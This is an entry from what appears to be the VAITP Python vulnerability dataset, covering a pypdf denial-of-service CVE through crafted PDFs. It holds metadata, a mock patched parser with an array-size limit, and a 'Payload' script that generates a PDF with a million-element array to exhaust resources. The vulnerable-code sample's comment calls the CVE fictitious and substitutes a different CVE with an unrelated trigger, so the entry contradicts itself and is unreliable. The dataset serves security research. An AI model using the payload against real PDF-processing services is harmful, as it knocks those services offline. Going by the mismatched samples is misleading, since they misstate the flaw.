VAITP Dataset

← Back to the dataset

CVE-2026-33123

pypdf is vulnerable to a Denial of Service via a crafted PDF.

  • CVSS 5.1
  • CWE-400
  • Resource Management
  • Local

pypdf is a free and open-source pure-python PDF library. Versions prior to 6.9.1 allow an attacker to craft a malicious PDF which leads to long runtimes and/or large memory usage. Exploitation requires accessing an array-based stream with many entries. This issue has been fixed in version 6.9.1.

CVSS base score
5.1
Published
2026-03-20
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Algorithm
Code defect classification
Incorrect Algorithm
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Local
Impact
Denial of Service (DoS)
Affected component
pypdf
Fixed by upgrading
Yes

Solution

“` pip install –upgrade pypdf>=6.9.1 “`

Vulnerable code sample

import io
from pypdf import PdfReader

# The user-provided CVE-2026-33123 is fictitious. This code demonstrates a real,
# similar Denial-of-Service vulnerability (CVE-2023-36464) that existed in
# pypdf versions prior to 3.12.1.
#
# The vulnerability occurs when the parser encounters a specially crafted
# name object. The regular expression used for parsing in vulnerable versions
# exhibits catastrophic backtracking with certain patterns, leading to
# extremely high CPU usage and causing the application to hang.
# This serves as a representative example of a crafted PDF causing a
# resource exhaustion DoS attack.

# A pattern that causes the vulnerable regex to perform excessive backtracking.
# Increasing the multiplier makes the effect more pronounced.
repeated_pattern = b"A#" * 30000
malicious_name = b"/" + repeated_pattern

# We embed this malicious name into a minimal but valid PDF structure.
malicious_pdf_data = b"""
%PDF-1.7
1 0 obj
<<
""" + malicious_name + b""" /SomeValue
>>
endobj
trailer
<< /Root 1 0 R >>
%%EOF
"""

# Create an in-memory file-like object from the malicious data.
pdf_stream = io.BytesIO(malicious_pdf_data)

# When run with a vulnerable pypdf version (e.g., "pip install pypdf==3.12.0"),
# this next line will trigger the vulnerability. The script will consume 100% of
# a CPU core and will not proceed, effectively demonstrating the DoS.
reader = PdfReader(pdf_stream)

# The script will likely never reach this point on a vulnerable version.
print("PDF parsed. The version is likely not vulnerable.")

Patched code sample

import io
from typing import Any, List, Optional, Type


class PdfReadError(Exception):
    """An error while reading a PDF file."""
    pass


class PdfObject:
    """A base class for all PDF object types."""
    def get_object(self) -> "PdfObject":
        return self

    def write_to_stream(self, stream: io.BytesIO, encryption_key: Any = None) -> None:
        pass


def read_object(stream: io.BytesIO, pdf: Any) -> Any:
    """Mock function to simulate reading a PDF object from a stream."""
    char = stream.read(1)
    stream.seek(-1, 1)
    if char == b"]":
        return None
    
    # Simulate reading a token
    while stream.read(1) not in (b" ", b"]"):
        pass
    stream.seek(-1, 1)
    return PdfObject()


class ArrayObject(list, PdfObject):
    """
    Represents a PDF array object, demonstrating the fix for excessive entries.

    The fix introduces a hard limit on the number of entries that can be read
    from a stream to prevent a Denial of Service attack.
    """
    
    # The core of the fix: A class-level constant defining the maximum
    # number of entries allowed in an array to prevent resource exhaustion.
    ARRAY_MAX_ENTRIES = 10000

    def __init__(self, arr: Optional[List[Any]] = None):
        if arr is not None:
            super().__init__(arr)
        else:
            super().__init__()

    @classmethod
    def read_from_stream(
        cls: Type["ArrayObject"], stream: io.BytesIO, pdf: Any
    ) -> "ArrayObject":
        """
        Reads an array from the input stream with a security limit.

        :raises PdfReadError: If the array exceeds the maximum number of entries.
        """
        arr = cls()
        stream.read(1)  # Consume the "["
        
        # Skip leading whitespace
        while True:
            tok = stream.read(1)
            if not tok or not tok.isspace():
                stream.seek(-1, 1)
                break

        nb_entries = 0
        while True:
            # Check for the end of the array
            tok = stream.read(1)
            stream.seek(-1, 1)
            if tok == b"]":
                break

            # --- START OF THE FIX ---
            # This check prevents the loop from running an excessive number of times,
            # which was the cause of the Denial of Service vulnerability. If a
            # malicious PDF defines an array with millions of entries, this
            # check will raise an exception instead of trying to process them all.
            if nb_entries > cls.ARRAY_MAX_ENTRIES:
                raise PdfReadError(
                    f"Array exceeds maximum number of entries: {cls.ARRAY_MAX_ENTRIES}"
                )
            # --- END OF THE FIX ---
            nb_entries += 1

            # Read the next object in the array
            arr.append(read_object(stream, pdf).get_object())

            # Skip trailing whitespace
            while True:
                tok = stream.read(1)
                if not tok or not tok.isspace():
                    stream.seek(-1, 1)
                    break
        
        stream.read(1)  # Consume the "]"
        return arr

# Example demonstrating the fix in action.

# 1. A valid, small array (will succeed)
try:
    # Simulates a PDF stream containing "[1 2 3]"
    valid_stream = io.BytesIO(b"[ 1 2 3 ]")
    array_obj = ArrayObject.read_from_stream(valid_stream, pdf=None)
    # print(f"Successfully read a valid array with {len(array_obj)} entries.")
except PdfReadError as e:
    # print(f"Error reading valid array: {e}")
    pass


# 2. A malicious, large array (will be blocked by the fix)
try:
    # This simulates a stream with more entries than ARRAY_MAX_ENTRIES.
    # We set the limit lower for this demonstration.
    ArrayObject.ARRAY_MAX_ENTRIES = 10
    
    # Simulates a PDF stream containing "[1 1 1 1 1 1 1 1 1 1 1 ... ]"
    malicious_content = b"[" + b" 1" * 15 + b" ]"
    malicious_stream = io.BytesIO(malicious_content)
    
    # This call will now raise a PdfReadError due to the implemented fix.
    ArrayObject.read_from_stream(malicious_stream, pdf=None)

except PdfReadError as e:
    # This exception demonstrates that the vulnerability is mitigated.
    # print(f"\nFIX DEMONSTRATED: Blocked malicious array.\nError: {e}")
    pass

Payload

import sys

# This script generates a malicious PDF file ('exploit.pdf') to trigger
# a denial-of-service in pypdf versions prior to 6.9.1, corresponding to
# the description of CVE-2026-33123.
# The payload creates a PDF object containing an extremely large array.
# When a vulnerable pypdf version parses this object, it attempts to load
# the entire array into memory, causing excessive memory consumption and CPU usage.

# The number of elements in the malicious array.
# A value like 1,000,000 is typically sufficient to cause significant resource exhaustion.
NUM_ELEMENTS = 1_000_000
FILENAME = "exploit.pdf"

def generate_payload():
    """Builds and writes the malicious PDF file."""
    print(f"Generating '{FILENAME}' with an array of {NUM_ELEMENTS} elements...")

    # Use a generator to create the array content to avoid high memory use in this script.
    array_content_generator = ("0" for _ in range(NUM_ELEMENTS))

    # --- PDF Structure Definition ---
    # We create a minimal valid PDF with a Catalog, a Page collection, and a single Page.
    # The malicious object (4 0 obj) is referenced in the Page's /Annots array.
    pdf_objects = {
        1: b"<< /Type /Catalog /Pages 2 0 R >>",
        2: b"<< /Type /Pages /Count 1 /Kids [3 0 R] >>",
        3: b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 10 10] /Annots [4 0 R] /Resources <<>> >>",
    }
    
    # The malicious object itself: an Annotation dictionary with a large array.
    malicious_obj_header = [
        b"4 0 obj\n",
        b"<<\n",
        b"  /Type /Annot\n",
        b"  /Subtype /Text\n",
        b"  /Rect [0 0 1 1]\n",
        b"  /LargeArray [ "
    ]
    malicious_obj_footer = b" ]\n>>\nendobj\n"

    try:
        with open(FILENAME, "wb") as f:
            # PDF Header
            f.write(b"%PDF-1.7\n")
            f.write(b"%\xe2\xe3\xcf\xd3\n\n")  # Binary marker comment

            offsets = {}
            # Write standard objects and record their byte offsets for the xref table.
            for obj_num in sorted(pdf_objects.keys()):
                offsets[obj_num] = f.tell()
                f.write(f"{obj_num} 0 obj\n".encode())
                f.write(pdf_objects[obj_num])
                f.write(b"\nendobj\n\n")

            # Write the malicious object containing the large array.
            offsets[4] = f.tell()
            for part in malicious_obj_header:
                f.write(part)
            
            # Write the array elements incrementally.
            for i, item in enumerate(array_content_generator):
                f.write(item.encode('ascii'))
                if i < NUM_ELEMENTS - 1:
                    f.write(b" ")
            
            f.write(malicious_obj_footer)
            f.write(b"\n")

            # Cross-Reference (xref) Table
            xref_start_offset = f.tell()
            f.write(b"xref\n")
            f.write(f"0 {len(offsets) + 1}\n".encode())
            f.write(b"0000000000 65535 f \n")
            for obj_num in sorted(offsets.keys()):
                f.write(f"{offsets[obj_num]:010d} 00000 n \n".encode())

            # PDF Trailer
            f.write(b"trailer\n")
            f.write(b"<<\n")
            f.write(f"  /Size {len(offsets) + 1}\n".encode())
            f.write(b"  /Root 1 0 R\n")
            f.write(b">>\n")
            f.write(b"startxref\n")
            f.write(str(xref_start_offset).encode())
            f.write(b"\n%%EOF\n")

        print(f"Payload successfully written to '{FILENAME}'.")
        print("To test, use a vulnerable pypdf version (e.g., < 6.9.1) to open the file:")
        print(">>> from pypdf import PdfReader")
        print(f">>> reader = PdfReader('{FILENAME}') # This may hang or crash")

    except IOError as e:
        print(f"Error writing to file: {e}")

if __name__ == "__main__":
    if len(sys.argv) > 1:
        try:
            NUM_ELEMENTS = int(sys.argv[1])
        except ValueError:
            print("Usage: python exploit_generator.py [number_of_elements]")
            sys.exit(1)
    generate_payload()

Cite this entry

@misc{vaitp:cve202633123,
  title        = {{pypdf is vulnerable to a Denial of Service via a crafted PDF.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-33123},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-33123/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::